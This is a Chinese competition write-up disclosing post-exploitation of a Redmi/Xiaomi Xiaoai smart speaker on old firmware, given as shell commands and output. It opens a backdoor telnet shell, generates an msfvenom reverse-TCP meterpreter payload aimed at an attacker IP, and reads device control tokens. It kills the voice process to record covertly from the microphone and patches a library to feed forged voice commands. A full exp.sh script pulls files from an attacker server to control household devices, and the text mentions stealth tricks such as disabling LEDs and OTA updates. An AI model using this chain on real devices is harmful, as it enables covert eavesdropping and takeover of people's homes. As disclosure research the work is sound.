2020补天杯复盘:小米小爱音箱 后渗透利用公开

2020年11月,淼哥、老徐、我,仨人代表清华校队Redbud参加补天杯,项目为现场破解小米小爱音箱Pro。预期效果为在内网环境下,通过对音箱的破解,接管目标家庭的所有米家智能家居,包括:扫地机器人,窗帘,电饭锅,台灯以及电风扇。但由于小米安全人员(李海粟、曾颖涛)进行现场干扰,导致比赛现场的小米小爱音箱启动并联网后,就直接被小米后台远程重置,也就无法进入正常的业务逻辑,最后判定漏洞演示失败。本篇将以Redmi小爱音箱Play(2020年左右软件版本的1.60.10)为例,公开我们当时完成的播放音乐、录音窃听、家居控制等后渗透利用的具体方法,虽然过后看起来难度不大,但也是我们仨经过曲折探索才找到的一条可行路径。

image

整体情况

小米小爱音箱全系列的技术方案类似,在软件版本上也基本保持同步,所以在软件上的后渗透利用方法也大体上强相关于软件版本,弱相关于硬件设备。本次公开的利用方法在2020年左右的软件版本(1.60.10、1.66.7等)上测试完成,目前新版本(1.80.xx及以上)不保证有效。同样,对于软件方案的整体情况说明也仅针对于老版本。先通过任意漏洞拿到shell,有的设备自带telnetd,如果没有可以自行下载完整busybox并开启telnetd:

cmd =  "/usr/bin/wget --no-check-certificate https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l "
cmd += "-O /data/busybox;"
cmd += "chmod +x /data/busybox;"
cmd += "/data/busybox telnetd -p 23 -l /bin/sh &"

系统信息

全志SoC,ARMv7小端:

/ # cat /proc/cpuinfo
processor       : 0
model name      : ARMv7 Processor rev 5 (v7l)
BogoMIPS        : 57.14
Features        : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xc07
CPU revision    : 5

processor       : 1
model name      : ARMv7 Processor rev 5 (v7l)
BogoMIPS        : 57.14
Features        : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x0
CPU part        : 0xc07
CPU revision    : 5

Hardware        : sun8iw18
Revision        : 0000
Serial          : 0000000000000000

可以系统确定为魔改openwrt:

# cat /proc/version 
Linux version 4.9.118 (gcc version 6.4.1) #1 SMP Sun Jan 19 10:57:28 UTC 2020

# opkg
opkg must have one sub-command argument
usage: opkg [options...] sub-command [arguments...]
where sub-command is one of:

文件系统

通过mount信息可见,根文件系统是squashfs,因此不能通过文件系统本身直接进行持久化的修改:

# mount
/dev/root on / type squashfs (ro,noatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=29128k,nr_inodes=7282,mode=755)
proc on /proc type proc (rw,nosuid,nodev,noexec,noatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,noatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
tmpfs on /dev type tmpfs (rw,nosuid,relatime,size=512k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
debugfs on /sys/kernel/debug type debugfs (rw,noatime)
pstore on /sys/fs/pstore type pstore (rw,relatime)
/dev/by-name/UDISK on /data type ext4 (rw,relatime,data=ordered)
/dev/by-name/UDISK on /etc/shadow type ext4 (rw,relatime,data=ordered)

允许持久化落地的文件夹只有/data目录, /etc/shadow其实也是由/data目录的一个文件单独挂载的,目的是可动态调整linux中root用户的密码:

/ # cd /etc/init.d/
/etc/init.d # grep -r "shadow" ./
./boot_check:if [ ! -f /data/console/shadow ]; then
./boot_check:    cp /etc/shadow /data/console
./boot_check:mount --bind /data/console/shadow /etc/shadow

显然/data目录应该保存着各种配置信息,如wifi,蓝牙,用户账户,以及非常有价值,拿到可以直接控设备的miio的token:

/data # ls
ai-crontab       console          mdspeech_status  mipns            timer
alarm            dnsmasq.time     messagingagent   player           upnp-disc
bt               etc              mibrain          sound            wifi
busybox          log              miio             status           workday
/data # ls -al ./miio
drwxr-xr-x    2 root     root          1024 Jun 19 12:02 .
drwxr-xr-x   18 root     root          1024 Jun 19 13:19 ..
-rw-r--r--    1 root     root            17 Jan 19  2020 dtoken
-rw-r--r--    1 root     root            35 Jun 19 13:13 miio_sessionid
-rw-r--r--    1 root     root            11 Jun 19 13:13 miio_token

不过很遗憾,我并没有在/data目录下找到可以在系统启动过程中影响代码执行的文件,没找到类似自启动脚本什么的,所以无法将开启telnetd等后门的代码塞到开机启动的流程中。因此也就无法通过单次攻击,达到重启后的权限驻留。可能对flash上的squashfs固件进行修改是唯一的出路,不过我并没有尝试过。另外,可以使用meterpreter拉文件下来:

➜  msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.40.119 LPORT=6666 -f elf -o backdoor

业务进程

所有进程如下:

/ # ps
  PID USER       VSZ STAT COMMAND
    1 root      1328 S    /sbin/procd
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
    4 root         0 SW   [kworker/0:0]
    5 root         0 SW<  [kworker/0:0H]
    6 root         0 SW   [kworker/u4:0]
    7 root         0 SW   [rcu_sched]
    8 root         0 SW   [rcu_bh]
    9 root         0 SW   [migration/0]
   10 root         0 SW<  [lru-add-drain]
   11 root         0 SW   [cpuhp/0]
   12 root         0 SW   [cpuhp/1]
   13 root         0 SW   [migration/1]
   14 root         0 SW   [ksoftirqd/1]
   15 root         0 SW   [kworker/1:0]
   16 root         0 SW<  [kworker/1:0H]
   17 root         0 SW   [kdevtmpfs]
   18 root         0 SW   [kworker/u4:1]
  165 root         0 SW   [kworker/u4:2]
  228 root         0 SW   [oom_reaper]
  229 root         0 SW<  [writeback]
  231 root         0 SW<  [crypto]
  232 root         0 SW<  [bioset]
  234 root         0 SW<  [kblockd]
  273 root         0 SW   [kworker/0:1]
  275 root         0 SW<  [cfg80211]
  319 root         0 SW   [kswapd0]
  320 root         0 SW<  [vmstat]
  451 root         0 SW<  [bioset]
  452 root         0 SW   [nand]
  453 root         0 SW   [nftld]
  465 root         0 SW   [nand_rcd]
  473 root         0 SW   [kworker/1:1]
  483 root         0 SW<  [btfwwork]
  484 root         0 SW   [cfinteractive]
  485 root         0 SW   [autohotplug]
  486 root         0 SW   [irq/165-sunxi-m]
  648 root         0 SW<  [ipv6_addrconf]
  666 root         0 SW<  [kworker/1:1H]
  668 root         0 SW<  [kworker/0:1H]
  860 root       972 S    /sbin/ubusd
  866 root       672 S    /sbin/askfirst /bin/login
 1249 root         0 SW<  [krfcommd]
 1330 root      1312 S    /usr/sbin/dbus-daemon --system
 1382 root      1412 S    /sbin/netifd
 1401 root         0 SW   [jbd2/nand0p9-8]
 1402 root         0 SW<  [ext4-rsv-conver]
 1409 root      2600 S<   /usr/bin/quickplayer
 1418 root      1040 S<   /bin/ledserver
 1460 root      1044 S    /usr/sbin/crond -f -c /etc/crontabs -l 5
 1478 root      4296 S    {syslog-ng} supervising syslog-ng
 1479 root      4348 S    /usr/sbin/syslog-ng
 1580 root      6444 S    /usr/bin/xiaomi_dns_server
 1621 root         0 SW   [ksdioirqd/mmc0]
 1640 root         0 SW   [kworker/0:2]
 1641 root         0 SW   [RTW_XMIT_THREAD]
 1642 root         0 SW   [RTW_CMD_THREAD]
 1643 root         0 SW   [RTWHALXT]
 1655 root      1724 S    /usr/sbin/wpa_supplicant -Dnl80211 -iwlan0 -c/data/wifi/wpa_supplicant.conf -s
 1678 root      1040 S    udhcpc -f -S -s /bin/simple_dhcp.sh -R -t 0 -i wlan0 -x hostname:MiAiSoundbox-L07A
 1699 root       704 S    odhcp6c -s /lib/netifd/odhcp6c-script.sh -P0 -e -v wlan0
 1702 root      1048 S    {wireless_point.} /bin/sh /usr/bin/wireless_point.sh
 2672 root       820 S    rtk_hciattach -n -s 115200 ttyS1 rtk_h4
 2724 nobody     872 S    /usr/sbin/dnsmasq -C /var/etc/dnsmasq.conf -k -x /var/run/dnsmasq/dnsmasq.pid
 2747 root      9744 S    /usr/bin/upnp-disc
 2763 root      1332 S    /usr/bin/alarmd
 2783 root         0 SW<  [kworker/u5:0]
 2784 root         0 SW<  [hci0]
 2785 root         0 SW<  [hci0]
 2788 root         0 SW<  [kworker/u5:1]
 2789 root         0 SW<  [kworker/u5:2]
 2807 root      3396 S    /usr/bin/bluetoothd -n
 2841 root     10072 S    /usr/bin/mediaplayer
 2851 root      7844 S    /usr/bin/messagingagent --handler_threads 8
 2860 root      1024 S    /bin/wifitool
 2869 root      5212 S    /usr/bin/statpoints_daemon
 2875 root       736 S    /usr/sbin/wpa_cli -a/bin/wpa_action.sh
 3116 root      1032 S    /usr/bin/miio_client -L /dev/null
 3117 root      1092 S    {miio_client_hel} /bin/sh /usr/bin/miio_client_helper
 3118 root      1236 S    /usr/bin/miio_service
 3388 root      5248 S    /usr/bin/bluealsa -i hci0 -p a2dp-sink
 3390 root      5936 S    /usr/bin/bluez_mibt_classical
 3391 root      2628 S    /usr/bin/bluez_mibt_ble
 3454 root       564 S    /usr/bin/miio_recv_line
 3551 mosquitt   844 S    mosquitto -c /etc/mosquitto/mosquitto.conf
 3573 root     18928 S<   /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l
 3582 root       960 S    /bin/touchpad
 3769 root      5636 S    /usr/bin/mibrain_service
 3801 root      1400 S    /usr/bin/mico_ai_crontab
 3842 root      1104 S    /usr/bin/mico_kid_mode
 3851 root       780 S    /usr/bin/nano_httpd
 3854 root      5760 S    /usr/bin/bluealsa-aplay 00:00:00:00:00:00 -vv -i hci0 -d default --profile-a2dp
 3873 root      3316 S    /usr/bin/pns_ubus_helper
 3906 root      3204 S    /usr/bin/mibt_mesh_proxy
 4711 root      1252 S    /data/busybox telnetd -p 23 -l /bin/sh
 4730 root      1040 S    sleep 10s
 4736 root      1040 S    /bin/sh
 4759 root      1040 R    ps

其中比较关键的是这里的3573号mipns-xxx进程,他是处理语音交互的进程,我们喊的“小爱同学,你去死吧”,就由这个进程来处理。这个进程对应的二进制名字后面的xxx,比如这里的horizon应该表示具体的硬件型号,所以小米厂商的看到horizon应该就知道我这个示例是Redmi小爱音箱Play。

3573 root     18928 S<   /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l

我们来看看这个进程的内存布局(省略部分堆):

  • 从Pwn的防护角度上:是有NX,库有地址随机化
  • 从整个业务的分析过程,以及最后的控制家居的利用的角度上:对此进程的动态链接库处理是重中之重!
/ # cat /proc/3573/maps
00010000-00019000 r-xp 00000000 5d:05 386        /usr/bin/mipns-horizon
00028000-00029000 r--p 00008000 5d:05 386        /usr/bin/mipns-horizon
00029000-00048000 rw-p 00009000 5d:05 386        /usr/bin/mipns-horizon
01c6e000-01df9000 rw-p 00000000 00:00 0          [heap]
...
...
b674c000-b694c000 rw-s 00000000 5d:09 45         /data/mibrain/mibrain_asr_nlp.rcd
b694c000-b6a43000 r-xp 00000000 5d:05 264        /lib/libstdc++.so.6.0.22
b6a43000-b6a48000 r--p 000e7000 5d:05 264        /lib/libstdc++.so.6.0.22
b6a48000-b6a4b000 rw-p 000ec000 5d:05 264        /lib/libstdc++.so.6.0.22
b6a4b000-b6a4d000 rw-p 00000000 00:00 0 
b6a4d000-b6b55000 r-xp 00000000 5d:05 985        /usr/lib/libmibrainsdk.so
b6b55000-b6b6d000 rw-p 000f8000 5d:05 985        /usr/lib/libmibrainsdk.so
b6b6d000-b6b6f000 rw-p 00000000 00:00 0 
b6b6f000-b6b80000 r-xp 00000000 5d:05 286        /lib/libblobmsg_json.so
b6b80000-b6b81000 r--p 00001000 5d:05 286        /lib/libblobmsg_json.so
b6b81000-b6b82000 rw-p 00002000 5d:05 286        /lib/libblobmsg_json.so
b6b82000-b6b9b000 r-xp 00000000 5d:05 281        /lib/libgcc_s.so.1
b6b9b000-b6b9c000 rw-p 00009000 5d:05 281        /lib/libgcc_s.so.1
b6b9c000-b6c22000 r-xp 00000000 5d:05 874        /usr/lib/libmdspeech.so
b6c22000-b6c24000 rw-p 00076000 5d:05 874        /usr/lib/libmdspeech.so
b6c24000-b6c25000 rw-p 00000000 00:00 0 
b6c25000-b6c3e000 r-xp 00000000 5d:05 1335       /usr/lib/lib_oal_alpha.so
b6c3e000-b6c3f000 rw-p 00009000 5d:05 1335       /usr/lib/lib_oal_alpha.so
b6c3f000-b6da0000 r-xp 00000000 5d:05 872        /usr/lib/libvpm.so
b6da0000-b6daf000 rw-p 00151000 5d:05 872        /usr/lib/libvpm.so
b6daf000-b6dc9000 rw-p 00000000 00:00 0 
b6dc9000-b6ddf000 r-xp 00000000 5d:05 875        /usr/lib/libjson-c.so.2.0.1
b6ddf000-b6de0000 r--p 00006000 5d:05 875        /usr/lib/libjson-c.so.2.0.1
b6de0000-b6de1000 rw-p 00007000 5d:05 875        /usr/lib/libjson-c.so.2.0.1
b6de1000-b6df5000 r-xp 00000000 5d:05 282        /lib/libubus.so
b6df5000-b6df6000 r--p 00004000 5d:05 282        /lib/libubus.so
b6df6000-b6df7000 rw-p 00005000 5d:05 282        /lib/libubus.so
b6df7000-b6e0e000 r-xp 00000000 5d:05 246        /lib/libubox.so
b6e0e000-b6e0f000 r--p 00007000 5d:05 246        /lib/libubox.so
b6e0f000-b6e10000 rw-p 00008000 5d:05 246        /lib/libubox.so
b6e10000-b6e22000 r-xp 00000000 5d:05 906        /usr/lib/libmibrain-common-util.so
b6e22000-b6e23000 rw-p 00002000 5d:05 906        /usr/lib/libmibrain-common-util.so
b6e23000-b6e4f000 r-xp 00000000 5d:05 897        /usr/lib/libmibrain-common-sdk.so
b6e4f000-b6e50000 rw-p 0001c000 5d:05 897        /usr/lib/libmibrain-common-sdk.so
b6e50000-b6e51000 rw-p 00000000 00:00 0 
b6e51000-b6e70000 r-xp 00000000 5d:05 939        /usr/lib/libz.so.1.2.8
b6e70000-b6e71000 r--p 0000f000 5d:05 939        /usr/lib/libz.so.1.2.8
b6e71000-b6e72000 rw-p 00010000 5d:05 939        /usr/lib/libz.so.1.2.8
b6e72000-b6f26000 r-xp 00000000 5d:05 888        /usr/lib/libasound.so.2.0.0
b6f26000-b6f2b000 r--p 000a4000 5d:05 888        /usr/lib/libasound.so.2.0.0
b6f2b000-b6f2c000 rw-p 000a9000 5d:05 888        /usr/lib/libasound.so.2.0.0
b6f2c000-b6f91000 r-xp 00000000 5d:05 234        /lib/libc.so
b6fa0000-b6fa1000 r--s 00000000 00:0f 2173       /tmp/TZ
b6fa1000-b6fa2000 r--p 00065000 5d:05 234        /lib/libc.so
b6fa2000-b6fa3000 rw-p 00066000 5d:05 234        /lib/libc.so
b6fa3000-b6fa5000 rw-p 00000000 00:00 0 
be976000-be997000 rw-p 00000000 00:00 0          [stack]
befd4000-befd5000 r-xp 00000000 00:00 0          [sigpage]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

进程通信

小米非常喜欢用ubus等消息总线实现进程间通信,因此在后续的利用过程中,由于ubus机制使得我们复现功能进行后渗透利用非常便捷:

使用ubus list查看所有注册的ubus服务:

# ubus list
ai_crontab
alarm
led
mediaplayer
messagingagent
mible
mibrain
mibt
mibt_mesh
miio
network
network.device
network.interface
network.wireless
nightmode
path_child_mode
pnshelper
qplayer
service
system
upnp-disc
wifitool

每个服务背后都对应着相应的进程,部分可以通过进程名对应出来:

/ # ps 
 1418 root      1040 S<   /bin/ledserver
 3099 root     10072 S    /usr/bin/mediaplayer
 3109 root      8028 S    /usr/bin/messagingagent --handler_threads 8
 3118 root      1024 S    /bin/wifitool
 3307 root      5936 S    /usr/bin/bluez_mibt_classical
 3308 root      2628 S    /usr/bin/bluez_mibt_ble
 3724 root      5636 S    /usr/bin/mibrain_service
 3742 root      1400 S    /usr/bin/mico_ai_crontab
 3907 root      9744 S    /usr/bin/upnp-disc
 3923 root      1332 S    /usr/bin/alarmd
 4037 root      1032 S    /usr/bin/miio_client -L /dev/null
 4038 root      1092 S    {miio_client_hel} /bin/sh /usr/bin/miio_client_helper
 4039 root      1236 S    /usr/bin/miio_service
 4272 root       564 S    /usr/bin/miio_recv_line

ubus服务名与进程名不是必须对应的,其本质是进程使用了libubus.so:

/ # ps | grep mediaplayer
 3099 root     10072 S    /usr/bin/mediaplayer
/ # cat /proc/3099/maps
00010000-0005c000 r-xp 00000000 5d:05 394        /usr/bin/mediaplayer
0006b000-0006c000 r--p 0004b000 5d:05 394        /usr/bin/mediaplayer
0006c000-0006d000 rw-p 0004c000 5d:05 394        /usr/bin/mediaplayer
...
b6652000-b667b000 r-xp 00000000 5d:05 1337       /usr/lib/libnghttp2.so.14.13.2
b667b000-b667c000 r--p 00019000 5d:05 1337       /usr/lib/libnghttp2.so.14.13.2
b667c000-b667e000 rw-p 0001a000 5d:05 1337       /usr/lib/libnghttp2.so.14.13.2
b667e000-b66c5000 r-xp 00000000 5d:05 968        /usr/lib/libopus.so.0.5.3
b66c5000-b66c6000 r--p 00037000 5d:05 968        /usr/lib/libopus.so.0.5.3
b66c6000-b66c7000 rw-p 00038000 5d:05 968        /usr/lib/libopus.so.0.5.3
b66c7000-b66e6000 r-xp 00000000 5d:05 939        /usr/lib/libz.so.1.2.8
b66e6000-b66e7000 r--p 0000f000 5d:05 939        /usr/lib/libz.so.1.2.8
b66e7000-b66e8000 rw-p 00010000 5d:05 939        /usr/lib/libz.so.1.2.8
b66e8000-b6737000 r-xp 00000000 5d:05 984        /usr/lib/libssl.so.1.0.0
b6737000-b673a000 r--p 0003f000 5d:05 984        /usr/lib/libssl.so.1.0.0
b673a000-b673c000 rw-p 00042000 5d:05 984        /usr/lib/libssl.so.1.0.0
b673c000-b6755000 r-xp 00000000 5d:05 281        /lib/libgcc_s.so.1
b6755000-b6756000 rw-p 00009000 5d:05 281        /lib/libgcc_s.so.1
b6756000-b676a000 r-xp 00000000 5d:05 282        /lib/libubus.so
b676a000-b676b000 r--p 00004000 5d:05 282        /lib/libubus.so
b676b000-b676c000 rw-p 00005000 5d:05 282        /lib/libubus.so

声音系统

声音系统为ALSA(高级Linux声音架构):

对于后渗透利用,可以尽量忽略内核部分的处理,以下标红的目标为利用过程中需要关注的:

image

可以对每层实体进行单独理解,首先是用户态程序:

对用户态程序的调用分析:

ALSA内核用户态分界面主要是/dev/snd/下的设备文件:

/ # ls -al /dev/snd
drwxr-xr-x    2 root     root           180 Jan  1  1970 .
drwxr-xr-x    6 root     root          1960 Jan 19  2020 ..
crw-r--r--    1 root     root      116,   0 Jan  1  1970 controlC0
crw-r--r--    1 root     root      116,  32 Jan  1  1970 controlC1
crw-r--r--    1 root     root      116,  24 Jan  1  1970 pcmC0D0c
crw-r--r--    1 root     root      116,  16 Jan  1  1970 pcmC0D0p
crw-r--r--    1 root     root      116,  56 Jan  1  1970 pcmC1D0c
crw-r--r--    1 root     root      116,  48 Jan  1  1970 pcmC1D0p
crw-r--r--    1 root     root      116,  33 Jan  1  1970 timer
  • snd的含义为sound
  • controlC0用于声卡的控制,例如通道选择,混音,麦克风的控制等
  • C0D0 代表的是声卡0 中的设备0,
  • pcmC0D0c 最后一个c 代表capture,用于录音的pcm
  • pcmC0D0p 最后一个p 代表 playback,用于播放的pcm
  • 这些都是alsa-driver 中的命名规则

硬件部分:

最终的扬声器和麦克风接口:

利用方法

关于IoT后渗透的简单介绍之前写过了:Getshell尾声:盗取与操控

当你拿到一个iot设备(嵌入式linux)的shell后,你怎么样去控制设备的这些外设,从而控制整个的设备的功能呢?这些设备的图形控制端是在手机app上,本设备上是一般没有图形控制界面的。所以要去逆向分析整个系统,找到关键的控制功能处,并想办法介入,修改 ,控制,或者伪造请求。

对于音箱的利用主要关注音频系统,整体的三种利用入口如图,可见虽然是最终控制硬件,不过我们可以介入的位置都是软件,而且还都是在用户态层次,不需要对内核层的音频系统有所处理:

image

播放音乐(使用扬声器)

使用aplay可以播放wav格式的音频:

# aplay /tmp/test.wav

在/bin/wakeup.sh可找到使用ubus播放音频的方法,可播放mp3:

# ubus -t 1 call mediaplayer player_play_url {\"url\":\"file:///tmp/test.mp3\",\"type\":1}

使用ubus调解音量:

# ubus -t 1 call mediaplayer player_set_volume {\"volume\":60}

录音窃听(使用麦克风)

可以使用aplay确认声卡个数,经过测试使用的声卡是第一个,即hw:0,0:

# aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: audiocodec [audiocodec], device 0: SUNXI-CODEC sun8iw18codec-0 []
  Subdevices: 0/1
  Subdevice #0: subdevice #0
card 1: snddaudio2 [snddaudio2], device 0: SUNXI-AUDIO snd-soc-dummy-dai-0 []
  Subdevices: 1/1
  Subdevice #0: subdevice #0

使用arecord,录音,需要参数如下:

参数选项 含义 本命令参数
-D 选择设备名称 使用声卡hw:0,0
-f 录音格式 cd(16_LE, 44100Hz)
-t 录音类型 wav

然后录音,发现提示资源忙,应该是声卡被占用:

# arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
arecord: main:722: audio open error: Resource busy

分析是语音系统主进程mipns-horizon占用的:

3573 root     18928 S<   /usr/bin/mipns-horizon -c /usr/share/horizon/ -r opus32 -l

可以使用一下两种方法杀掉这个进程:

# killall mipns-horizon
# ps | grep mipns | grep -v grep |awk '{print $1}' | xargs kill -9

然后即可正常录音,并可以使用aplay测试播放:

# killall mipns-horizon ; arecord -Dhw:0,0 -d 10 -f cd -t wav /tmp/test.wav
# aplay /tmp/test.wav

控制家居(劫持麦克风)

播放音乐和录音窃听都是直接使用对应功能的正常软件,这也是一个语音音箱最基本的功能。不过如今的智能语音音箱已然是家庭里的智能中控,一句小爱同学,便可操控全屋智能。因此从功能上来看,如果接管了音箱,也就应该可以接管目标家庭的所有智能家居。除了使用miio系列的token控制以外,有没有更加通用的办法?后来我们想到一种不仅通用,而且暴力、直接、朴素的方法:伪造控制语音,直接喂给接收麦克风音频的控制代码,进而控制智能家居,大概方法如下:

image

  • 录制虚假的控制音频:fake_voice.raw,内容为“小爱同学,控制命令(打开台灯)”
  • 构造虚假声卡:pcm.fake,并绑定fake_voice.raw为声卡输入
  • 劫持业务进程的声卡绑定:二进制patch声卡接口从hw:0,0修改为fake
  • 最终重启业务进程即可

确认声卡参数

伪造的控制音频不是随便录个mp3就行,而是需要根据设备本身声卡参数录制无封装格式的原始音频数据。原因也很显然,我们伪造的控制音频最终是直接喂给声卡的输入,从层次上就是在空中传递的声音并经过采样量化的数据,目前我打过的两个音箱的声卡采样参数如下:

设备 采样位数 采样率 通道数
小米小爱音箱Pro S16_LE 48000 8
Redmi小爱音箱Play S16_LE 16000 3

对于这些参数的理解可以参考:

寻找设备对应参数的过程我们走了一些弯路,最终发现一个通用且简单的办法即可获取到。即通过/proc/asound/文件系统下对应声卡目录下的hw_params文件可以获得对应参数:

# ls /proc/asound/
audiocodec  cards       pcm         timers
card0       devices     seq         version
card1       oss         snddaudio2

#  ls /proc/asound/card0/
id         oss_mixer  pcm0c      pcm0p

# cat /proc/asound/card0/pcm0c/sub0/hw_params 
access: RW_INTERLEAVED
format: S16_LE
subformat: STD
channels: 3
rate: 16000 (16000/1)
period_size: 320
buffer_size: 2560

固定参数录音

然后即可使用对应参数录制伪造控制的原始音频,需要注意的是:

  • 录制内容:小爱同学,控制命令(打开台灯)
  • 录制声音:录制时需要声音大一些,之后测试播放才能听清
# killall mipns-horizon; arecord -Dhw:0,0 -d 8  -f S16_LE -r 16000 -c 3 -t raw /tmp/test.raw

对应参数如下:

选项 含义 本命令参数
-D 选择设备名称 使用声卡hw:0,0
-d 录音时长 录音8秒
-f 录音格式 S16_LE
-r 采样率 16000是16KHz采样
-c 声道数 3
-t 录音类型 raw

然后可以播放测试刚才录制的音频:

# aplay  -f S16_LE -r 16000 -c 3  -t raw /tmp/test.raw

构造虚假声卡

ASLA在配置文件中,允许file类型的声卡存在,可以使用infile参数设置喂给声卡的输入文件:

复制/etc/asound.conf,到可写目录中,添加如下虚假声卡:

pcm.fake {
    type file  
    slave { pcm "hw:0,0"}  
    file /dev/null     
    infile /tmp/test.raw
}

由于/etc目录也为squashfs只读文件系统下的目录,所以无法直接覆盖,需要一些小技巧,如mount -o bind,即可覆盖文件系统的路径为虚假的配置文件:

# mount -o bind /tmp/asound.conf  /etc/asound.conf 

覆盖后,既可以使用虚假的声卡进行录音测试,无论你对着音箱怎么叫喊,录制的结果都是我们喂进去的文件内容:

# killall mipns-horizon; arecord -Dfake -d 8  -f S16_LE -c 3 -r 16000 -t raw /tmp/test.raw2
# aplay  -f S16_LE -c 3 -r 16000  /tmp/test.raw2

劫持声卡绑定

然后需要让音箱智能语音系统使用我们的名为fake的伪造声卡,经过逆向分析,调用声卡的代码在语音主进程mipns-xxx的一个动态链接库中,不同设备以及不同软件版本下的此动态库的名字可能不同,如以下:

设备 软件版本 主进程 替换库
小米小爱音箱Pro 1.66.7 mipns-xiaomi libxaudio_engine.so
Redmi小爱音箱Play 1.60.10 mipns-horizon libvpm.so

确定库的方法为搜索绑定声卡的函数:snd_pcm_open,此函数实现在libasound.so.2中:

函数文档:ALSA project - the C library reference PCM Interface

例如在Redmi小爱音箱Play中:

/ # grep -r "snd_pcm_open" /usr/lib
/usr/lib/libasound.so.2:snd_pcm_open
...
/usr/lib/libvpm.so:snd_pcm_open
/usr/lib/libxiaomimediaplayer.so:snd_pcm_open

libasound.so.2是alsa实现库,libxiaomimediaplayer.so主进程mipns-horizon没有使用,因此声卡绑定的逻辑在libvpm.so中。snd_pcm_open函数的第二个参数即为声卡名,一般为硬编码的字符串hw:?,?,换掉即可。

图中以小米小爱音箱Pro的libxaudio_engine.so为例:

没使用Redmi为例的原因为,其libvpm_fake.so的snd_pcm_open函数的参数为变量传递过来,查看不直接

image

除了使用IDA、010editer进行patch以外,还可以直接使用dd进行替换,使用strings确定字符串偏移:

# cp /usr/lib/libvpm.so /tmp/libvpm_fake.so

# strings -t d /usr/lib/libvpm.so | grep hw:0
1226312 hw:0,0

# echo -n -e "fake\x00" | dd of=/tmp/libvpm_fake.so  bs=1 count=5 seek=1226312 conv=notrunc
5+0 records in
5+0 records out

然后一样使用mount -o bind替换动态库:

# mount -o bind /tmp/libvpm_fake.so  /usr/lib/libvpm.so 

重启业务进程

伪造的声卡,伪造的音频,伪造的动态库都搞定后,kill业务进程即可,其会自动重启:

# killall mipns-horizon

完整利用

服务器(补天杯当时我们还特意使用了杭州阿里云以确保速度)准备文件:

  • asound.conf
  • libvpm_fake.so
  • noise.mp3
  • saodi_run.raw
  • saodi_stop.raw

完整利用脚本exp.sh如下:

  • play:把声音跳到最大播放自定义音频
  • prepare:把声音调到最低,然后准备好虚假的动态库与声卡配置文件并挂载覆盖
  • saodi_run:替换声卡配置文件中的输入文件为扫地机器人出动的音频,并重启业务进程
  • saodi_run:替换声卡配置文件中的输入文件为扫地机器人回家的音频,并重启业务进程
server="192.168.40.119:8000"
if [ "$1" = "play" ]; then
  wget -P /tmp http://${server}/noise.mp3
  ubus -t 1 call mediaplayer player_set_volume {\"volume\":100}
  ubus -t 1 call mediaplayer player_play_url {\"url\":\"file:///tmp/noise.mp3\",\"type\":1}
elif [ "$1" = "prepare" ]; then
  ubus -t 1 call mediaplayer player_set_volume {\"volume\":0}
  wget -P /tmp http://${server}/libvpm_fake.so
  wget -P /tmp http://${server}/asound.conf
  mount -o bind /tmp/asound.conf     /etc/asound.conf 
  mount -o bind /tmp/libvpm_fake.so  /usr/lib/libvpm.so
elif [ "$1" = "saodi_run" ]; then
  rm /tmp/*.raw
  wget -P /tmp http://${server}/saodi_run.raw
  sed -i 's/infile.*/infile "\/tmp\/saodi_run.raw"/g' /tmp/asound.conf
  umount /etc/asound.conf ; mount -o bind /tmp/asound.conf  /etc/asound.conf 
  killall mipns-horizon
  echo "[+] saodi_run"
elif [ "$1" = "saodi_stop" ]; then
  rm /tmp/*.raw
  wget -P /tmp wget http://${server}/saodi_stop.raw
  sed -i 's/infile.*/infile "\/tmp\/saodi_stop.raw"/g' /tmp/asound.conf
  umount /etc/asound.conf ; mount -o bind /tmp/asound.conf  /etc/asound.conf 
  killall mipns-horizon
  echo "[+] saodi_stop"
fi

使用如下:

/tmp # ./exp.sh play
/tmp # ./exp.sh prepare
/tmp # ./exp.sh saodi_run
/tmp # ./exp.sh saodi_stop

比赛时我们还实现了更完整,更隐蔽的利用,包括不限于:

  • 让设备彻底静音
  • 熄灭设备的提示灯
  • 干掉设备的ota升级程序

小米罪证

时间线:

image

证据链:

image